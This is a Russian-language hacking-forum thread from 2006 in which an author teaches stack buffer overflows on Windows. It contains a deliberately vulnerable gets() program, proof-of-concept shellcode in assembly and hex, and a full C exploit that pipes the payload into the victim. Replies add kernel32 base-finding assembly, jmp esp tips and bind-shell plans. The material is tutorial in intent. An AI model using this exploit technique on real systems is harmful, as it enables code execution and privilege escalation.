ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Что такое переполнение буфера?
  #1  
Старый 08.11.2006, 12:27
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию Что такое переполнение буфера?

Article: Переполнение - что это такое?
Author: Great
Date: 07.11.2006
Note: В статье предполагается знание читателем языков программирования C, Assembler
Статья является ознакомительным вводным материалом для знакомства читателя с темой информационной безопасности. Автор не несет никакой ответственности за прямой или косвенный ущерб, каким-либо образом нанесенный использованием или не использованием данного материала. Вся ответственность за незаконное использование материалов этой статьи ложится только на вас.


I. Переполнение буфера. Что такое?

Рассмотрим небольшой, но очень эффектный пример.
Код:
void get_user_name()
{
	char username[10];

	printf("Enter your name: ");
	gets(username);

	printf("Hello, %s!\n", username);
}

main()
{
	get_user_name();
	return 0;
}
С первого взгляда, ничего страшного нету. Программа считывает имя пользователя и здоровается с ним. Однако, посмотрим. Под имя пользователя отводится 10 символов. Место для этой локальной переменной выделяется в стеке, и с ним соседствует запись о кадре стека (сохраненное значение EBP) и адрес возврата в main() из функции get_user_name(). А что, если мы введем не 10 символов, а, скажем, 100? gets() ничего не известно про размер буфера, поэтому она послушно запишет эти 100 символов по адресу буфера. Первые 10 символов аккурат лягут в буфер, а остальное?... Правильно, затрет значения EBP и адреса возврата. При подходе к концу функции и выполнению RET для выхода процессор считает из стека адрес возврата, уже перезаписанный нами... и управление уйдет совсем не туда, как это предполагал программист.

II. Что полезного оно нам дает?

Разберемся теперь, что же полезного нам дает переполнение локального буфера. Мы можем перезаписать адрес возврата и устремить процессор на наш (возможно, злобный ) код. Удаленно это позволит выполнять произвольный код на целевой системе, локально, если программа запущена под root'ом, это позволит нам получить привилегии администратора системы. Весьма перспективно, не правда ли?

III. Практика

Перейдем же, наконец, к практике. Для начала, нам нужно определить, какие именно байты (по порядку от начала строки) затирают адрес возврата.
Делается это элементарно таким образом - вводится строка вида AAAAAAAAAA0123456789. Очевидно, что адрес затрут какие-то 4 байта от 0 до 9 с этой строке. Выясним же, какие.



Операционная система заботливо сообщает нам, что не может обратиться по адресу 0x39383736. Совершенно несложно проверить, что это коды символов '9', '8', '7' и '6', то есть эти байты затерли адрес возврата. Прекрасно. Теперь нам нужно узнать месторасположение в памяти наших данных. Программа всегда загружается в свое виртуальное адресное пространство по одному и тому же виртуальному адресу, и стек выделяется тоже по фиксированному виртуальному адресу в адресном пространстве нашей программы. Это значит, что адрес строки в памяти с каждым запуском нашей программы меняться не будет. А ведь это здорово, мы можем записать адрес возврата, например, адресом следующих после 6789 байт, где и разместим наш код.
Итак, нам нужно узнать адрес данных. Что может быть проще? Загружаем программу в отладчик, вводим строку программе AAAAAAAAAA0123456789zzcv, ждем исключения, открываем дамп стека в отладчике и ищем строку "zzcv" в стеке - начиная с этого адреса мы расположим в дальнейшем наш код.
Voil`a! Смотрим в отладчик:


Смотрим, что строка 'zzcv' найдена по адресу 0x0013ff34. Это не первое вхождение строки в стеке, но отладчик снизу показывает еще содержимое стека с адресами, где тоже виден адрес
0x0013ff34. Так что можно утверждать, что наш код разместится именно там.
Попробуем написать вызов MessageBox'а. Нам потребуется компилятор FASMW для того, чтобы собрать код эксплоита. Чуток забегу вперед и скажу, что наш код будет таким:
Код:
org 0x0013ff34; base address
use32; 32-bit code

;
; Exploit code
;

; Load library 'user32.dll'
push user32
call [LoadLibrary]

; Get 'MessageBoxA' address
push messagebox
push eax
call [GetProcAddress]

; Invoke MessageBoxA
push dword 0
push dword 0
push message
push dword 0
call eax

; Exit
call [ExitProcess]


user32 db "USER32.DLL",0
messagebox db "MessageBoxA",0
caption db "Exploit",0
message db "Proof-of-Concept exploit code",0

;
; API's
;
KERNEL32_BASE equ 0x7c800000
ExitProcess    dd KERNEL32_BASE+0x0001CDDA
GetProcAddress dd KERNEL32_BASE+0x0000ADA0
LoadLibrary    dd KERNEL32_BASE+0x00001D77
Думаю, знающим язык ассемблера разобраться в столь банальном коде не составит труда, но я все же дам некоторые комментарии по этому поводу.
С помощью ORG мы задаем место в памяти, с которого будет располагаться наш код во время выполнения.
В конце мы располагаем константу KERNEL32_BASE, которая равна базовому адресу загрузки библиотеки kernel32.dll, подгружаемой к каждому процессу, в памяти. Потом расположены адреса некоторых функций в ней, нам потребуются LoadLibraryA и GetProcAddress для вызова MessageBox из user32.dll и ExitProcess для завершения программы.
Скажу сразу, этот код не портабелен. Под другой версией ОС Windows, даже в другом сервиспаке или build'е адреса функций неизбежно будут другими. Но это лишь демонстрация, в боевых условиях адрес ядра берется из сегмента FS, а поиск функций производится напрямую в коде ядра. Под *nix-like системами вообще ничего такого производить не нужно, все системные вызовы реализуются одним прерыванием, адрес обработчика которого задается операционной системой в таблице IDT, следовательно, нам вообще не нужно знать месторасположение ядра в памяти. Код PoC эксплоита под linux, выводящего сообщение на консоль,будет гораздо проще. Ну, это лирика. Двинемся дальше.
Что же происходит в нашем коде? Подгружается к текущему процессу user32.dll, если она еще не подгружена и в ней ищется функция MessageBoxA для вывода диалогового окошка с сообщением о том, что эксплоит сработал.
Итак, пробуем FASMW: Ctrl-F9, скомпилировалось. Берем утилиту мою bin2c, которая переводит бинарник в вид, понятный компилятору си (вида \x00\x01\x02\0x03):
\x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x 72\xff\x13\x00\x50\xff\x15
\xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x 00\x00\x68\x86\xff\x13
\x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x 13\x00\x55\x53\x45\x52
\x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x 67\x65\x42\x6f\x78
\x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x 6f\x6f\x66\x2d\x6f
\x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x 70\x6c\x6f\x69\x74
\x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x 80\x7c\x77\x1d\x80\x7c
Пишем код эксплоита на Си:
Код:
#include <windows.h>
#include <stdio.h>

#define VICTIM "H:\\Progs\\superproga\\Debug\\superproga.exe"

char shellcode[] =  "AAAAAAAAAA012345\x34\xff\x13\x00"
	// Shellcode
	"\x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15"
"\xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13"
"\x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52"
"\x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78"
"\x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f"
"\x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74"
"\x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c";
int len = sizeof(shellcode)-1;

main()
{
	FILE* fp;
	int i=0;

	printf("[~] Creating pipe to victim '" VICTIM "' ");
	fp = _popen(VICTIM, "w");
	if(!fp)
  return printf("[FAILED]\n[-] Cannot create pipe\n");
	
	printf("[ OK ]\n[~] Attempting to send destructive code ");
	for(;i<len;i++)
	{
  fputc(shellcode[i], fp);
	}


	printf("[ OK ]\n\n");
	_pclose(fp);
	return 0;
}
Как видно, ничего сложного. Открываем пайп с уязвимой программой и посылаем туда код эксплоита. Результат - затирается адрес возврата, после RET управление переходит к нашему коду, который выводит MessageBox и завершает процесс. Если бы эта была программа под *nix с suid-битом и правами root, можно было бы с тем же успехом вызвать командный интерпретатор root'а и выполнять команды от его имени.

Итак, что же мы имеем. Если у нас есть программа, которая не контролирует выход за пределы локального буфера, мы можем перезаписать часть стека и исполнить код в контексте этой программы. Позволю себе закончить на этой радостной ноте, удачного компилирования


К статье прилагаются - два скриншота (overflow1.png, overflow2.png), утилита bin2c с исходными текстами для кодирования бинарного файла в вид Си-строки.

http://gr8.cih.ms/data/bin2c.rar

* * *

Статья для новичков в этой сфере (но навыки кодинга предполагаются, иначе ничего объяснить просто невозможно), чтобы они лучше понимали суть происходящего.
Ногами сильно не пинать

Последний раз редактировалось _Great_; 19.08.2007 в 21:24..
 
Ответить с цитированием

  #2  
Старый 08.11.2006, 13:37
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Не забудьте выключить защиту стека "/GS-", если используете Visual Studio .NET, по умолчанию включено. Поищите там в Properties проекта.

Вообще клёво!

З.Ы.
А почему \x00 не воспринимается как конец строки и gets() продолжает считывать?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #3  
Старый 08.11.2006, 13:40
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
А почему \x00 не воспринимается как конец строки и gets() продолжает считывать?
gets слишком тупая для этого
 
Ответить с цитированием

  #4  
Старый 08.11.2006, 13:47
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Кстати, кому лень запускать - вот так выглядит работа эксплоита:

Последний раз редактировалось _Great_; 19.08.2007 в 21:21..
 
Ответить с цитированием

  #5  
Старый 08.11.2006, 18:52
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Функция поиска базы KERNEL32.DLL в сегменте FS:

Код:
qGetKernel32Handle proc near
      xor    eax, eax
      mov    eax, fs:[eax+30h]
      test    eax, eax
      js      short loc_169067
      push    esi
      mov    eax, [eax+0Ch]
      mov    esi, [eax+1Ch]
      lodsd
      mov    eax, [eax+8]
      pop    esi
      retn
loc_169067:
      mov    eax, [eax+34h]
      add    eax, 7Ch
      mov    eax, [eax+3Ch]
      retn
qGetKernel32Handle endp

Added: Проверил, работает

Последний раз редактировалось _Great_; 08.11.2006 в 19:01..
 
Ответить с цитированием

  #6  
Старый 08.11.2006, 19:40
Аватар для Pochka
Pochka
Познающий
Регистрация: 26.11.2005
Сообщений: 32
Провел на форуме:
47872

Репутация: 20
По умолчанию

Цитата:
Сообщение от Qwazar  
З.Ы.
А почему \x00 не воспринимается как конец строки и gets() продолжает считывать?
RTFMSDN

Цитата:
The gets function reads a line from the standard input stream stdin and stores it in buffer. The line consists of all characters up to and including the first newline character ('\n'). gets then replaces the newline character with a null character ('\0')
 
Ответить с цитированием

  #7  
Старый 08.11.2006, 20:23
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Код:
_TCHAR * __cdecl _getts (
        _TCHAR *string
        )
{
        int ch;
        _TCHAR *pointer = string;
        _TCHAR *retval = string;

        _ASSERTE(string != NULL);

#ifdef _MT
        _lock_str2(0, stdin);
        __try {
#endif  /* _MT */

#ifdef _UNICODE
        while ((ch = _getwchar_lk()) != L'\n')
#else  /* _UNICODE */
        while ((ch = _getchar_lk()) != '\n')
#endif  /* _UNICODE */
        {
                if (ch == _TEOF)
                {
                        if (pointer == string)
                        {
                                retval = NULL;
                                goto done;
                        }

                        break;
                }

                *pointer++ = (_TCHAR)ch;
        }

        *pointer = _T('\0');

/* Common return */
done:

#ifdef _MT
        ; }
        __finally {
                _unlock_str2(0, stdin);
        }
#endif  /* _MT */

        return(retval);
}
кто-нить видит проверку на '\0' ?
 
Ответить с цитированием

  #8  
Старый 08.11.2006, 23:10
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Вот функция для поиска апишки по имени
http://cribble.by.ru/data/getprocaddressex.asm
Только, неоптимизированная. Она была написана на си, выдрана с помощью IDA Pro и частично переписана для Fasm.
В сети можно найти много аналогов, но мне пока еще не удалось заставить их работать )
 
Ответить с цитированием

  #9  
Старый 09.11.2006, 06:11
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Довольно грамотно и четко, порадовало что активно используется flat assembler но

Цитата:
А ведь это здорово, мы можем записать адрес возврата, например, адресом следующих после 6789 байт
Цитата:
после RET управление переходит к нашему коду, который выводит MessageBox и завершает процесс.
довольно неэстетичный способ - жестко прописывать конкретный адрес
буфера в _стеке_
не проще ли просто найти \xFF\xE4 (jmp esp) в ntdll
и поставить его адрес для eip ?
кто бы что не говорил, jmp esp легче найти где-нибудь так чтоб он был почти везде одинаков. темболее если специфическое приложение использует какую-нибудь свою dll

Цитата:
С помощью ORG мы задаем место в памяти, с которого будет располагаться наш код во время выполнения.
Рискую показать глупость, но зачем задавать базу если этот код все равно просто пойдет в бинарном виде в стек...

ну и веселая очепятка
Цитата:
Итак, пробуем FASW
ещё, думаю, прикольно было бы написать про создание win32-шеллкода для bindport'а... именно шеллкода

PS
http://cribble.by.ru/data/getprocaddressex.asm
Цитата:
var_6C equ -6Ch
var_2C equ -2Ch
var_28 equ -28h
var_24 equ -24h
var_20 equ -20h
var_1C equ -1Ch
var_18 equ -18h
var_14 equ -14h
var_10 equ -10h
var_C equ -0Ch
var_8 equ -8
var_4 equ -4
arg_0 equ 8
arg_4 equ 0Ch
))))
я тоже так делаю, просто не показываю

Последний раз редактировалось KEZ; 09.11.2006 в 06:23..
 
Ответить с цитированием

  #10  
Старый 09.11.2006, 08:15
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Рискую показать глупость, но зачем задавать базу если этот код все равно просто пойдет в бинарном виде в стек...
машинный код некоторых инструкций сильно зависит от их положения в памяти (есть неперемещаемые инструкции - некоторые виды CALL и JMP). Можешь попробовать убрать ORG или сделать его другим и запустить код. Стопудов будет Access Violation (вызов CALL [LoadLibrary] слетит, потому что рассчитывается смещение адреса входа в lodlibrary относительно текущией инструкции при компиляции. Изменишь ORG - CALL уведет уже вникуда)

Цитата:
я тоже так делаю, просто не показываю
выдираешь ИДОЙ код?

Цитата:
ещё, думаю, прикольно было бы написать про создание win32-шеллкода для bindport'а... именно шеллкода
осталось уже всего ничего Поиск базы кернела и апишек я написал, осталось создать сокет, ждать конекта, заполнить STARTUP_INFORMATOIN и сделать CreateProcess

Цитата:
довольно неэстетичный способ - жестко прописывать конкретный адрес
буфера в _стеке_
хм... ну тогда придется прописать конкретный адрес JMP ESP из ntdll, который наверняка будет варьироваться от билда к билду. хотя можно найти ее в таком месте, где она всегда будет лежать)

Последний раз редактировалось _Great_; 09.11.2006 в 08:43..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Среди людей мы иные, но даже среди иных мы остаёмся людьми MorpheuS Авторские статьи 34 16.06.2010 02:57
Мой ржачный разговор в аське с кем-то вроде как с античата, как я подумал Дрэгги Болталка 21 22.07.2007 12:33
С чего начинается достойный проект ОТЕЦ Чужие Статьи 2 28.09.2006 08:43
Евросеть vs МВД – бои местного значения novichok Новости мира "железа" 0 09.04.2006 11:34
МнеВеликие перцы svans Чаты 11 24.12.2002 18:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ